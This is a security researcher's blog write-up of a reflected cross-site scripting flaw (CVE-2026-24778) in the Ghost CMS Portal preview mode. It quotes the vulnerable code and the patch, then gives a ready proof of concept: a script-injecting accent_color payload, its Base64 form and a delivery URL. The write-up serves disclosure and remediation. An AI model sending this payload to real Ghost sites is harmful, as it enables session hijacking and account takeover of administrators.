CVE-2026-24778

Ghost in the Shell: Unmasking the Portal XSS (CVE-2026-24778)

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·6 min read·4 visits

Executive Summary (TL;DR)

The Ghost CMS 'Portal' membership interface allows configuration overrides via URL for preview purposes. Due to missing sanitization, an attacker can craft a link containing a malicious 'accent color' or 'signup terms' payload. If an admin clicks this link, the attacker's JavaScript executes, potentially stealing session cookies.

A critical Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'Portal' component of Ghost CMS. By manipulating the configuration options passed via URL parameters in 'preview' mode, attackers can inject malicious JavaScript. This allows unauthenticated actors to execute code in the context of an administrator or member, leading to potential account takeover.

The Hook: A Portal to Nowhere

Ghost is the cool kid on the CMS block—fast, Node.js-based, and beloved by developers who are tired of WordPress spaghetti. One of its slickest features is the Portal: a drop-in, React-based UI that handles membership subscriptions, signups, and logins. It floats elegantly over your content, enticing readers to hand over their credit cards.

But here's the thing about modern front-end components: they love to be "configurable." To help site owners visualize changes without deploying them, the Portal includes a Preview Mode. This mode allows you to pass configuration objects—like brand colors, text content, and logos—directly via the URL.

If you've been in the security game long enough, the phrase "configuration via URL" should make the hair on the back of your neck stand up. It implies that the application is taking untrusted input from the address bar and using it to paint the screen. In the case of CVE-2026-24778, that paintbrush was loaded with high-explosive JavaScript.

The Flaw: Trust Issues

The vulnerability stems from a classic case of "Trusting the Client." The Portal component was designed to read an options parameter from the URL query string or hash fragment. This parameter is expected to be a JSON object (often Base64 encoded) containing settings like accent_color or portal_signup_terms_html.

The developers made a fatal assumption: that these values would be data, not code. Consequently, they fed these values into dangerous sinks within the React application without adequate scrubbing.

Sink #1: The HTML Injection. The property portal_signup_terms_html does exactly what it says on the tin. To render it, the code utilized React's dangerouslySetInnerHTML. I always appreciate when frameworks name their insecure functions accurately—it's like a "Warning: High Voltage" sign that developers decided to ignore.

Sink #2: The CSS Breakout. This one is more subtle and fun. The accent_color setting is used to dynamically generate a <style> block. The code took the color string and interpolated it directly into CSS syntax. It didn't check if the color was actually a hex code (e.g., #FF0000). This allowed attackers to close the style block (</style>) and open a new script tag.

The Code: Smoking Gun

Let's look at the vulnerable logic versus the fix. The patch (Commit da858e6) is a textbook example of "oops, we forgot to validate inputs."

The CSS Injection Vector:

Vulnerable Code:

// It takes the color and dumps it into a string
const styles = `:root { --brandcolor: ${this.context.brandColor} }` + NotificationStyle;
 
// Then it renders that string as raw HTML inside a style tag
return <style dangerouslySetInnerHTML={{__html: styles}} />;

If brandColor is #ff0000, it works fine. But if brandColor is #fff;}</style><script>alert(1)</script>, the browser interprets the closing style tag and executes the script. It's 2005 all over again.

The Fix:

// Now we validate that it actually LOOKS like a hex color
const validateHexColor = (color) => {
    if (!color || typeof color !== 'string') return null;
    // Strict Regex: Only hex digits allowed
    const regex = /^#([0-9A-Fa-f]{3}|[0-9A-Fa-f]{4}|[0-9A-Fa-f]{6}|[0-9A-Fa-f]{8})$/;
    return regex.test(color) ? color : null;
};

The HTML Injection Vector:

Vulnerable Code:

<div dangerouslySetInnerHTML={{__html: signupTermsHtml}} />

The Fix:

// Bring in the heavy guns: DOMPurify
import DOMPurify from 'dompurify';
 
const sanitizedHtml = DOMPurify.sanitize(signupTermsHtml, {
    ALLOWED_TAGS: ['a', 'b', 'strong', 'i', 'em', 'u', 'br', 'p'],
    ALLOWED_ATTR: ['href', 'target', 'rel']
});

By forcing the input through DOMPurify and a regex validator, they've effectively closed the window.

The Exploit: Crafting the Payload

Exploiting this requires zero authentication. We just need to trick someone into clicking a link. Let's build a Proof-of-Concept (PoC) using the CSS breakout vector, as it's cleaner than the HTML one.

Step 1: The Payload We need a JSON object that sets the accent_color to our malicious string.

{
  "accent_color": "#ffffff;}</style><script>alert(document.cookie)</script><style>"
}

Step 2: Encoding The Portal expects this to be part of the URL options. Depending on the specific version and deployment, this might be a raw query param or Base64 encoded. Let's assume Base64 for the full effect.

// Base64 encode the payload
btoa('{"accent_color": "#ffffff;}</style><script>alert(document.domain)</script><style>"')
// Output: eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

Step 3: Delivery We append this to the target URL: https://target-ghost-blog.com/#/portal/preview?options=eyJhY2NlbnRfY29sb3IiOiAiI2ZmZmZmZjt9PC9zdHlsZT48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD48c3R5bGU+In0=

When the victim (an administrator) clicks this link, the Portal loads, reads the options, injects the malformed style tag, and immediately executes our JavaScript. We can now hijack their session.

The Impact: Why This Matters

You might say, "It's just XSS, big deal." But in the context of a CMS like Ghost, XSS is the gateway to the kingdom.

If an attacker targets a Ghost administrator, stealing the session cookie allows them to log in to the backend. Once inside, Ghost provides ample functionality that can be chained into Remote Code Execution (RCE). An admin can typically upload themes, modify integrations, or inject code into the site footer for persistence.

Furthermore, because the Portal handles PII (Personally Identifiable Information) of members—email addresses, subscription statuses, and potentially payment tokens—an attacker could execute a worm that scrapes the entire member database and exfiltrates it to a remote server. This is a high-impact flaw hiding in a "preview" button.

The Fix: Closing the Door

Ghost patched this in Core v5.121.0 and v6.15.0. The fix involves updating the @tryghost/portal dependency.

Because the Portal is often loaded from a CDN (static.ghost.org), many users were patched automatically when Ghost pushed the new version to their edge servers. However, if you are self-hosting the Portal component or have pinned a specific version in your build pipeline, you are still vulnerable.

Remediation Steps:

  1. Update Ghost: Run ghost update to get the latest core version.
  2. Clear Caches: If you use Cloudflare or another CDN, purge your cache to ensure the new JS bundle is served.
  3. Audit Logs: Check your access logs for requests to #/portal/preview containing suspicious, long query strings. That might be the fingerprint of an attempted exploit.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Ghost CMS (Core)Ghost Portal (Standalone Component)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost Core (v5)
Ghost Foundation
5.43.0 - 5.120.45.121.0
Ghost Core (v6)
Ghost Foundation
6.0.0 - 6.14.06.15.0
@tryghost/portal
Ghost Foundation
2.29.1 - 2.51.42.51.5
AttributeDetail
CWE IDCWE-79 (Cross-site Scripting)
CVSS v3.18.8 (High)
Attack VectorNetwork (Reflected)
Privileges RequiredNone
User InteractionRequired (Clicking Link)
EPSS Score0.04%
Exploit StatusPoC Available
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Patch committed to Ghost repository
2026-01-22
Vulnerability Published (GHSA & NVD)
2026-01-27
Ghost Advisory Released
2026-01-27

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.